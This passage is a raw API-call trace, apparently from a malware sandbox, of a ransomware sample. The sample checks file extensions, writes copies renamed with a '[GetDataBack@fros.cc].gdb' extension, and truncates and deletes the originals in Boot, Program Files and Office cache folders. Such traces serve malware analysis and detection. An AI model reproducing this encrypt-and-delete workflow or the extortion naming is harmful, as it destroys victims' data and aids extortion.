(hObject=0x22c) returned 1 [0135.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0135.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0135.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0135.653] lstrlenW (lpString=".doc") returned 4 [0135.653] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0135.653] lstrlenW (lpString=".docx") returned 5 [0135.653] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0135.653] lstrlenW (lpString=".pdf") returned 4 [0135.653] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0135.653] lstrlenW (lpString=".xls") returned 4 [0135.653] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0135.653] lstrlenW (lpString=".xlsx") returned 5 [0135.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0135.653] lstrlenW (lpString=".ppt") returned 4 [0135.653] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0135.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0135.653] lstrlenW (lpString=".zip") returned 4 [0135.653] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0135.653] lstrlenW (lpString=".rar") returned 4 [0135.653] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0135.653] lstrlenW (lpString=".bz2") returned 4 [0135.653] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0135.653] lstrlenW (lpString=".7z") returned 3 [0135.653] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0135.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0135.653] lstrlenW (lpString=".dbf") returned 4 [0135.653] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0135.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0135.653] lstrlenW (lpString=".1cd") returned 4 [0135.653] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0135.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0135.653] lstrlenW (lpString=".jpg") returned 4 [0135.653] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0137.635] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0137.635] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0137.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0137.635] GetLastError () returned 0x0 [0137.635] ReadFile (hFile=0x1a8, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0) Thread: id = 20 os_tid = 0xba4 [0113.847] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0113.847] GetProcAddress (hModule=0x75a20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a4d650 [0113.847] Wow64DisableWow64FsRedirection (in: OldValue=0x20bfca8 | out: OldValue=0x20bfca8*=0x0) returned 1 [0113.847] lstrlenW (lpString="kernel32.dll") returned 12 [0113.847] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0113.847] Sleep (dwMilliseconds=0x64) [0114.173] lstrcmpiW (lpString1=".LOG", lpString2=".gdb") returned 1 [0114.173] lstrlenW (lpString="BCD.LOG") returned 7 [0114.173] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.173] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0114.173] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0114.173] lstrlenW (lpString=".doc") returned 4 [0114.173] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0114.173] lstrlenW (lpString=".docx") returned 5 [0114.173] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0114.173] lstrlenW (lpString=".pdf") returned 4 [0114.173] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0114.173] lstrlenW (lpString=".xls") returned 4 [0114.173] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0114.173] lstrlenW (lpString=".xlsx") returned 5 [0114.173] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0114.173] lstrlenW (lpString=".ppt") returned 4 [0114.173] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0114.173] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0114.173] lstrlenW (lpString=".zip") returned 4 [0114.173] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0114.173] lstrlenW (lpString=".rar") returned 4 [0114.173] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0114.173] lstrlenW (lpString=".bz2") returned 4 [0114.173] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0114.173] lstrlenW (lpString=".7z") returned 3 [0114.173] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0114.173] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0114.173] lstrlenW (lpString=".dbf") returned 4 [0114.173] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0114.173] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0114.173] lstrlenW (lpString=".1cd") returned 4 [0114.173] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0114.173] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0114.173] lstrlenW (lpString=".jpg") returned 4 [0114.173] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0114.174] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0114.174] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0114.174] lstrlenW (lpString=".doc") returned 4 [0114.174] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0114.174] lstrlenW (lpString=".docx") returned 5 [0114.174] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0114.174] lstrlenW (lpString=".pdf") returned 4 [0114.174] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0114.174] lstrlenW (lpString=".xls") returned 4 [0114.174] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0114.174] lstrlenW (lpString=".xlsx") returned 5 [0114.174] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0114.174] lstrlenW (lpString=".ppt") returned 4 [0114.174] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0114.174] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0114.174] lstrlenW (lpString=".zip") returned 4 [0114.174] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0114.174] lstrlenW (lpString=".rar") returned 4 [0114.174] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0114.174] lstrlenW (lpString=".bz2") returned 4 [0114.174] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0114.174] lstrlenW (lpString=".7z") returned 3 [0114.174] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0114.174] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0114.174] lstrlenW (lpString=".dbf") returned 4 [0114.174] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0114.174] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0114.174] lstrlenW (lpString=".1cd") returned 4 [0114.174] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0114.174] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0114.174] lstrlenW (lpString=".jpg") returned 4 [0114.174] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0114.174] lstrcmpiW (lpString1=".DAT", lpString2=".gdb") returned -1 [0114.174] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0114.174] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0114.175] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=65536) returned 1 [0114.175] CloseHandle (hObject=0x168) returned 1 [0114.175] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0114.175] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0114.175] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0114.175] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0114.175] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0114.175] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0114.175] GetLastError () returned 0x0 [0114.175] ReadFile (in: hFile=0x168, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x10000, lpOverlapped=0x0) returned 1 [0114.189] WriteFile (in: hFile=0x16c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x10010, lpOverlapped=0x0) returned 1 [0114.193] ReadFile (in: hFile=0x168, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0114.193] WriteFile (in: hFile=0x16c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0114.193] SetEndOfFile (hFile=0x16c) returned 1 [0114.193] CloseHandle (hObject=0x16c) returned 1 [0114.194] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0114.194] SetEndOfFile (hFile=0x168) returned 1 [0114.196] CloseHandle (hObject=0x168) returned 1 [0114.196] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x26) returned 1 [0114.196] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0114.197] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0114.197] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0114.197] lstrlenW (lpString=".doc") returned 4 [0114.197] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0114.197] lstrlenW (lpString=".docx") returned 5 [0114.197] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0114.197] lstrlenW (lpString=".pdf") returned 4 [0114.197] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0114.197] lstrlenW (lpString=".xls") returned 4 [0114.197] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0114.197] lstrlenW (lpString=".xlsx") returned 5 [0114.197] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0114.197] lstrlenW (lpString=".ppt") returned 4 [0114.197] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0114.197] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0114.197] lstrlenW (lpString=".zip") returned 4 [0114.197] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0114.197] lstrlenW (lpString=".rar") returned 4 [0114.197] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0114.197] lstrlenW (lpString=".bz2") returned 4 [0114.197] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0114.197] lstrlenW (lpString=".7z") returned 3 [0114.197] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0114.197] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0114.197] lstrlenW (lpString=".dbf") returned 4 [0114.197] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0114.197] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0114.197] lstrlenW (lpString=".1cd") returned 4 [0114.197] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0114.197] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0114.197] lstrlenW (lpString=".jpg") returned 4 [0114.197] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0114.198] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0114.198] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0114.198] lstrlenW (lpString=".doc") returned 4 [0114.198] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0114.198] lstrlenW (lpString=".docx") returned 5 [0114.198] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0114.198] lstrlenW (lpString=".pdf") returned 4 [0114.198] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0114.198] lstrlenW (lpString=".xls") returned 4 [0114.198] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0114.198] lstrlenW (lpString=".xlsx") returned 5 [0114.198] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0114.198] lstrlenW (lpString=".ppt") returned 4 [0114.198] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0114.198] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0114.198] lstrlenW (lpString=".zip") returned 4 [0114.198] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0114.198] lstrlenW (lpString=".rar") returned 4 [0114.198] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0114.198] lstrlenW (lpString=".bz2") returned 4 [0114.198] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0114.198] lstrlenW (lpString=".7z") returned 3 [0114.198] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0114.198] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0114.198] lstrlenW (lpString=".dbf") returned 4 [0114.198] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0114.198] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0114.198] lstrlenW (lpString=".1cd") returned 4 [0114.198] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0114.198] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0114.198] lstrlenW (lpString=".jpg") returned 4 [0114.198] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0114.199] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0114.199] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0114.199] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0114.257] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=1565) returned 1 [0114.257] CloseHandle (hObject=0x15c) returned 1 [0114.257] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0114.257] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0114.257] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0114.257] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0114.257] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0114.257] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0114.321] GetLastError () returned 0x0 [0114.322] ReadFile (in: hFile=0x15c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x61d, lpOverlapped=0x0) returned 1 [0114.323] WriteFile (in: hFile=0x16c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x620, lpOverlapped=0x0) returned 1 [0114.324] ReadFile (in: hFile=0x15c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0114.324] WriteFile (in: hFile=0x16c, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0114.324] SetEndOfFile (hFile=0x16c) returned 1 [0114.324] CloseHandle (hObject=0x16c) returned 1 [0114.325] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0114.325] SetEndOfFile (hFile=0x15c) returned 1 [0114.325] CloseHandle (hObject=0x15c) returned 1 [0114.326] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0114.326] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0114.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0114.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0114.326] lstrlenW (lpString=".doc") returned 4 [0114.326] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.326] lstrlenW (lpString=".docx") returned 5 [0114.326] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0114.326] lstrlenW (lpString=".pdf") returned 4 [0114.326] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.326] lstrlenW (lpString=".xls") returned 4 [0114.326] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.326] lstrlenW (lpString=".xlsx") returned 5 [0114.326] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0114.326] lstrlenW (lpString=".ppt") returned 4 [0114.326] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0114.326] lstrlenW (lpString=".zip") returned 4 [0114.326] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.326] lstrlenW (lpString=".rar") returned 4 [0114.326] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.327] lstrlenW (lpString=".bz2") returned 4 [0114.327] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.327] lstrlenW (lpString=".7z") returned 3 [0114.327] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0114.327] lstrlenW (lpString=".dbf") returned 4 [0114.327] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0114.327] lstrlenW (lpString=".1cd") returned 4 [0114.327] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0114.327] lstrlenW (lpString=".jpg") returned 4 [0114.327] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0114.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0114.327] lstrlenW (lpString=".doc") returned 4 [0114.327] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.327] lstrlenW (lpString=".docx") returned 5 [0114.327] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0114.327] lstrlenW (lpString=".pdf") returned 4 [0114.327] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.327] lstrlenW (lpString=".xls") returned 4 [0114.327] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.327] lstrlenW (lpString=".xlsx") returned 5 [0114.327] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0114.327] lstrlenW (lpString=".ppt") returned 4 [0114.327] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0114.327] lstrlenW (lpString=".zip") returned 4 [0114.327] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.327] lstrlenW (lpString=".rar") returned 4 [0114.327] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.327] lstrlenW (lpString=".bz2") returned 4 [0114.327] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.327] lstrlenW (lpString=".7z") returned 3 [0114.327] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0114.327] lstrlenW (lpString=".dbf") returned 4 [0114.327] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0114.327] lstrlenW (lpString=".1cd") returned 4 [0114.328] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0114.328] lstrlenW (lpString=".jpg") returned 4 [0114.328] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.328] Sleep (dwMilliseconds=0x64) [0114.573] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0114.573] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0114.574] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0114.574] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=3186) returned 1 [0114.574] CloseHandle (hObject=0x15c) returned 1 [0114.574] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0114.574] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0114.575] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all 